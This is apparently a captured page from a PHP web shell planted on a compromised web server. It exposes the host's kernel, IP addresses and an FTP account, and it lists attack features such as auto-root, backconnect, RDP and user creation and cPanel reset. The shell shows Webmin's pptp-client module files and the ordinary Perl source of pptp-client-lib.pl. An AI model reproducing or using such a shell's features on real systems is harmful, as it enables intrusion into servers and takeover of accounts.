Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
pptp-client /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
448
B
-rw-r--r--
backup_config.pl
702
B
-rwxr-xr-x
bootup.cgi
863
B
-rwxr-xr-x
config
112
B
-rw-r--r--
config.info
274
B
-rw-r--r--
config.info.ca
310
B
-rw-r--r--
config.info.de
306
B
-rw-r--r--
config.info.fr
0
B
-rw-r--r--
config.info.nl
297
B
-rw-r--r--
config.info.no
292
B
-rw-r--r--
config.info.pt_BR
320
B
-rw-r--r--
conn.cgi
2.32
KB
-rwxr-xr-x
disc.cgi
543
B
-rwxr-xr-x
edit.cgi
6.59
KB
-rwxr-xr-x
edit_opts.cgi
1.43
KB
-rwxr-xr-x
index.cgi
2.69
KB
-rwxr-xr-x
install_check.pl
385
B
-rwxr-xr-x
log_parser.pl
733
B
-rwxr-xr-x
module.info
193
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
139
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
150
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
192
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
194
B
-rw-r--r--
module.info.ca
116
B
-rw-r--r--
module.info.ca.auto
13
B
-rw-r--r--
module.info.cs
24
B
-rw-r--r--
module.info.cs.auto
102
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
134
B
-rw-r--r--
module.info.de
121
B
-rw-r--r--
module.info.de.auto
13
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
216
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
132
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
132
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
175
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
123
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
137
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
134
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
130
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
151
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
133
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
161
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
156
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
133
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
136
B
-rw-r--r--
module.info.ms
118
B
-rw-r--r--
module.info.ms.auto
13
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
138
B
-rw-r--r--
module.info.nl
24
B
-rw-r--r--
module.info.nl.auto
111
B
-rw-r--r--
module.info.no
24
B
-rw-r--r--
module.info.no.auto
109
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
128
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
129
B
-rw-r--r--
module.info.pt_BR
28
B
-rw-r--r--
module.info.pt_BR.auto
110
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
130
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
198
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
124
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
128
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
129
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
246
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
139
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
194
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
244
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
150
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
110
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
119
B
-rw-r--r--
pptp-client-lib.pl
8.62
KB
-rwxr-xr-x
save.cgi
5.72
KB
-rwxr-xr-x
save_opts.cgi
910
B
-rwxr-xr-x
secrets-lib.pl
1.64
KB
-rwxr-xr-x
start.pl
779
B
-rwxr-xr-x
stop.pl
355
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pptp-client-lib.pl
# pptp-client-lib.pl # XXX help page BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); do 'secrets-lib.pl'; # list_tunnels() # Returns a list of the details of configured tunnels, in the format used # by the pptp-command script sub list_tunnels { local ($f, @rv); opendir(DIR, $config{'peers_dir'}); while($f = readdir(DIR)) { next if ($f =~ /^\./ || $f eq "__default"); local @opts = &parse_ppp_options("$config{'peers_dir'}/$f"); local ($pptp) = grep { $_->{'comment'} =~ /^PPTP/ } @opts; if ($pptp) { # Is a tunnel config .. add it push(@rv, { 'name' => $f, 'file' => "$config{'peers_dir'}/$f", 'opts' => \@opts }); } } closedir(DIR); return @rv; } # parse_ppp_options(file) sub parse_ppp_options { local @rv; local $lnum = 0; open(OPTS, "<".$_[0]); while(<OPTS>) { s/\r|\n//g; if (/^#\s*(.*)/) { # A comment, used to store meta-information push(@rv, { 'comment' => $1, 'file' => $_[0], 'line' => $lnum, 'index' => scalar(@rv) }); } elsif (/^([0-9\.]+):([0-9\.]+)/) { # A local/remote IP specification push(@rv, { 'local' => $1, 'remote' => $2, 'file' => $_[0], 'line' => $lnum, 'index' => scalar(@rv) }); } elsif (/^([^# ]*)\s*([^#]*)/) { # A PPP options directive push(@rv, { 'name' => $1, 'value' => $2, 'file' => $_[0], 'line' => $lnum, 'index' => scalar(@rv) }); } $lnum++; } close(OPTS); return @rv; } # find(name, &config) sub find { local @rv = grep { lc($_->{'name'}) eq lc($_[0]) } @{$_[1]}; return wantarray ? @rv : $rv[0]; } # save_ppp_option(&config, file, &old|name, &new) sub save_ppp_option { local $ol = ref($_[2]) || !defined($_[2]) ? $_[2] : &find($_[2], $_[0]); local $nw = $_[3]; local $lref = &read_file_lines($_[1]); local $line; if ($nw) { if ($nw->{'local'}) { $line = $nw->{'local'}.":".$nw->{'remote'}; } elsif ($nw->{'comment'}) { $line = "# ".$nw->{'comment'}; } else { $line = $nw->{'name'}; $line .= " $nw->{'value'}" if ($nw->{'value'} ne ""); } } if ($ol && $nw) { $lref->[$ol->{'line'}] = $line; } elsif ($ol) { splice(@$lref, $ol->{'line'}, 1); local $c; foreach $c (@{$_[0]}) { $c->{'line'}-- if ($c->{'line'} > $ol->{'line'}); } } elsif ($nw) { push(@$lref, $line); } } # list_connected() # Returns a list of the names of tunnels that appear to be active. May include # other ppp calls as well sub list_connected { &foreign_require("proc", "proc-lib.pl"); local @rv; foreach $p (&proc::list_processes()) { if ($p->{'args'} =~ /pppd\s.*call\s+(.*\S+)/) { push(@rv, [ $1, $p->{'pid'} ]); if ($1 eq $config{'tunnel'}) { $rv[$#rv]->[2] = $config{'iface'}; } } } return @rv; } # parse_comments(&tunnel) sub parse_comments { foreach $c (@{$_[0]->{'opts'}}) { if ($c->{'comment'} =~ /Server IP: (\S+)/) { $_[0]->{'server'} = $1; $_[0]->{'server_c'} = $c; } elsif ($c->{'comment'} =~ /Route: (.*)/) { push(@{$_[0]->{'routes'}}, $1); push(@{$_[0]->{'routes_c'}}, $c); } } } @old_mppe = ( 'mppe-40', 'mppe-128', 'mppe-stateless' ); @new_mppe = ( [ 'mppe', 0, 'require-', 'no' ], [ 'mppe-40', 1, 'require-', 'no' ], [ 'mppe-128', 1, 'require-', 'no' ], [ 'mppe-stateful', 0, '', 'no' ], ); # mppe_options_form(&opts) # Show a form for editing MPPE-related PPP options sub mppe_options_form { # Get the PPPd version. Only those above 2.4.2 have built-in MPPE support local $mppe_mode = &mppe_support(); print "<input type=hidden name=mppe_mode value='$mppe_mode'>\n"; local $opts = $_[0]; if ($mppe_mode) { # Show new MPPE options local $o; foreach $o (@new_mppe) { local $o0 = &find($o->[2].$o->[0], $opts); local $o1 = &find($o->[2].$o->[0], $opts); local $mode = $o0 ? 2 : $o1 ? 0 : 1; print "<tr> <td><b>",$text{'mppe_'.$o->[0]},"</b></td>\n"; print "<td colspan=3>\n"; printf "<input type=radio name=%s value=2 %s> %s\n", $o->[0], $mode == 2 ? "checked" : "", $text{'mppe_m2'}; printf "<input type=radio name=%s value=1 %s> %s (%s)\n", $o->[0], $mode == 1 ? "checked" : "", $text{'default'}, $o->[1] ? $text{'mppe_d1'} : $text{'mppe_d0'}; printf "<input type=radio name=%s value=0 %s> %s\n", $o->[0], $mode == 0 ? "checked" : "", $text{'mppe_m0'}; print "</td> </tr>\n"; } local @anyold = grep { &find($_, $opts) } @old_mppe; if (@anyold) { print "<tr> <td colspan=4 align=center>",&text('mppe_old', "<tt>".join(" ", @anyold)."</tt>"),"</td> </tr>\n"; } } else { # Show old MPPE options $i = 0; foreach $o (@old_mppe) { print "<tr>\n" if ($i%2 == 0); local $v = &find($o, $opts); print "<td><b>",$text{'mppe_'.$o},"</b></td> <td>\n"; printf "<input type=radio name=$o value=1 %s> %s\n", $v ? "checked" : "", $text{'yes'}; printf "<input type=radio name=$o value=0 %s> %s</td>\n", $v ? "" : "checked", $text{'no'}; print "</tr>\n" if ($i%2 == 1); $i++; } local @anynew = grep { &find($_, $opts) } ( map { 'require-'.$_->[0] } @new_mppe ), ( map { 'no'.$_->[0] } @new_mppe ); if (@anynew) { print "<tr> <td colspan=4 align=center>",&text('mppe_new', "<tt>".join(" ", @anynew)."</tt>"),"</td> </tr>\n"; } print "</tr>\n"; } } # parse_mppe_options(&config, file) sub parse_mppe_options { if ($in{'mppe_mode'}) { # Parse new-style options foreach my $opt (@new_mppe) { my $req = $opt->[2].$opt->[0]; my $no = $opt->[3].$opt->[0]; if ($in{$opt->[0]} == 2) { &save_ppp_option($_[0], $_[1], $req, { 'name' => $req }); &save_ppp_option($_[0], $_[1], $no, undef); } elsif ($in{$opt->[0]} == 1) { &save_ppp_option($_[0], $_[1], $req, undef); &save_ppp_option($_[0], $_[1], $no, undef); } else { &save_ppp_option($_[0], $_[1], $req, undef); &save_ppp_option($_[0], $_[1], $no, { 'name' => $no }); } } } else { # Parse old-style options foreach my $o (@old_mppe) { &save_ppp_option($_[0], $_[1], $o, $in{$o} ? { 'name' => $o } : undef); } } } # mppe_support() # Returns 1 if the PPP daemon supports new-style MPPE options (version 2.4.2+, # 0 if might only support the old options) sub mppe_support { local $out = `pppd --help 2>&1`; local $vers; if ($out =~ /version\s+(\S+)/i) { $vers = $1; } if ($vers =~ /^(\d+)/ && $1 > 2 || $vers =~ /^(\d+)\.(\d+)/ && $1 == 2 && $2 > 4 || $vers =~ /^(\d+)\.(\d+)\.(\d+)/ && $1 == 2 && $2 == 4 && $3 >= 2) { return 1; } return 0; } # get_pppd_version(&out) sub get_pppd_version { local $out = `pppd --help 2>&1`; ${$_[0]} = $out; return $out =~ /version\s+(\S+)/i ? $1 : undef; } # connect_tunnel(&tunnel) # Attempts to open some tunnel. Returns either : # 1, iface-name, iface-address, iface-ptp # 0, error-message sub connect_tunnel { local $tunnel = $_[0]; &foreign_require("net", "net-lib.pl"); # Run the PPTP command, and wait for a new pppN interface to come up local %sifaces = map { $_->{'fullname'}, $_->{'address'} } &get_ppp_ifaces(); local $start = time(); local $temp = &tempname(); &system_logged("modprobe ip_gre >/dev/null 2>&1"); &system_logged("$config{'pptp'} ".quotemeta($tunnel->{'server'})." call ". quotemeta($tunnel->{'name'})." >$temp 2>&1 </dev/null &"); local $newiface; LOOP: while(time() - $start < $config{'timeout'}) { sleep(1); local @nifaces = &get_ppp_ifaces(); local $i; foreach $i (@nifaces) { if (!$sifaces{$i->{'fullname'}}) { $newiface = $i; last LOOP; } } } local $tempout = `cat $temp`; unlink($temp); # Find out if we were connected, or if it failed if ($newiface) { # It worked! Add the routes local (@rout, @rcmd); if (@{$tunnel->{'routes'}}) { local @routes = &net::list_routes(); local ($defroute) = grep { $_->{'dest'} eq '0.0.0.0' } @routes; local $oldgw = $defroute->{'gateway'} if ($defroute); foreach $r (@{$tunnel->{'routes'}}) { $cmd = "route $r"; $cmd =~ s/TUNNEL_DEV/$newiface->{'fullname'}/g; $cmd =~ s/DEF_GW/$oldgw/g; $cmd =~ s/GW/$newiface->{'ptp'}/g; push(@rcmd, $cmd); $out = &backquote_logged("$cmd 2>&1 </dev/null"); push(@rout, $out); } } return (1, $newiface->{'fullname'}, $newiface->{'address'}, $newiface->{'ptp'}, \@rcmd, \@rout); } else { # Must have timed out due to a failure &foreign_require("syslog", "syslog-lib.pl"); local $sysconf = &syslog::get_config(); local $c; local $logs; foreach $c (@$sysconf) { next if ($c->{'tag'} || !$c->{'file'} || !-f $c->{'file'}); local @st = stat($c->{'file'}); if ($st[9] > $start) { # Was modified since start .. but by ppp or pptp? local $tail = `tail -10 '$c->{'file'}'`; if ($tail =~ /ppp|pptp/) { $logs = $tail; last; } } } return (0, $tempout.$logs || "No logged error messages found"); } } sub get_ppp_ifaces { return grep { $_->{'fullname'} =~ /^ppp(\d+)$/ && $_->{'up'} && $_->{'address'} } &net::active_interfaces(); } 1;
Close